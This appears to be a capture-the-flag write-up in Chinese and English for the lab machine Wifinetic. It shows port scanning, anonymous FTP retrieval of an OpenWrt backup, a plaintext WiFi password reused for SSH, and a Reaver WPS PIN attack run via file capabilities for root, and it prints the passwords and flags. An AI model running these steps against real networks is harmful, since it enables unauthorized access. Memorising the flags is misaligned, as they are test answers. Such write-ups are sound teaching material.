[Meachines] [Easy] Wifinetic FTP匿名登录+Reaver WPS PIN密码泄露权限提升

Information Gathering

IP Address	Opening Ports
10.10.11.247	TCP:21,22,53

$ ip='10.10.11.247'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

bash 复制代码

PORT   STATE SERVICE    VERSION
21/tcp open  ftp        vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.16.28
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp          4434 Jul 31  2023 MigrateOpenWrt.txt
| -rw-r--r--    1 ftp      ftp       2501210 Jul 31  2023 ProjectGreatMigration.pdf
| -rw-r--r--    1 ftp      ftp         60857 Jul 31  2023 ProjectOpenWRT.pdf
| -rw-r--r--    1 ftp      ftp         40960 Sep 11  2023 backup-OpenWrt-2023-07-26.tar
|_-rw-r--r--    1 ftp      ftp         52946 Jul 31  2023 employees_wellness.pdf
22/tcp open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
53/tcp open  tcpwrapped
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP

$ ftp 10.10.11.247

$ wget -r ftp://anonymous:anonymous@10.10.11.247

$ tar -xvf backup-OpenWrt-2023-07-26.tar

$ cat ./etc/config/wireless

VeRyUniUqWiFIPasswrd1!

$ ssh netadmin@10.10.11.247

User.txt

df32978a2541a4cb8a03ccc0fb8794ae

Privilege Escalation: Reaver tool exploits WPS PIN vulnerability to retrieve the AP's WPA/WPA2 passphrase

wlan0：此接口被归类为 AP（接入点），并与代表物理无线设备的 phy0 相关联。正如预期的那样，这证实了 wlan0 确实是 OpenWRT 设置中的接入点。
wlan1：此接口被归类为托管，并且具有 P2P 设备的非 net-dev 接口类型。托管模式表示 wlan1 用作常规 Wi-Fi 客户端，而 P2P 设备类型表明它可能支持 Wi-Fi Direct 或点对点通信。
phy2、wlan2 和 mon0：这些接口与代表单独物理无线设备的 phy2 链接。wlan2 被归类为托管接口，而 mon0 设置为监控模式。 phy2 上同时存在 wlan2 和 mon0，表明它们是同一张无线网卡的一部分。

递归查找系统中所有具有特殊能力 (capabilities) 的文件

$ getcap -r / 2>/dev/null

/usr/bin/reaver允许以ROOT权限执行

$ reaver -i mon0 -b 02:00:00:00:00:00 -vv -c 1

WhatIsRealAnDWhAtIsNot51121!

Root.txt

3b787489a71d0e403687793940da1e1b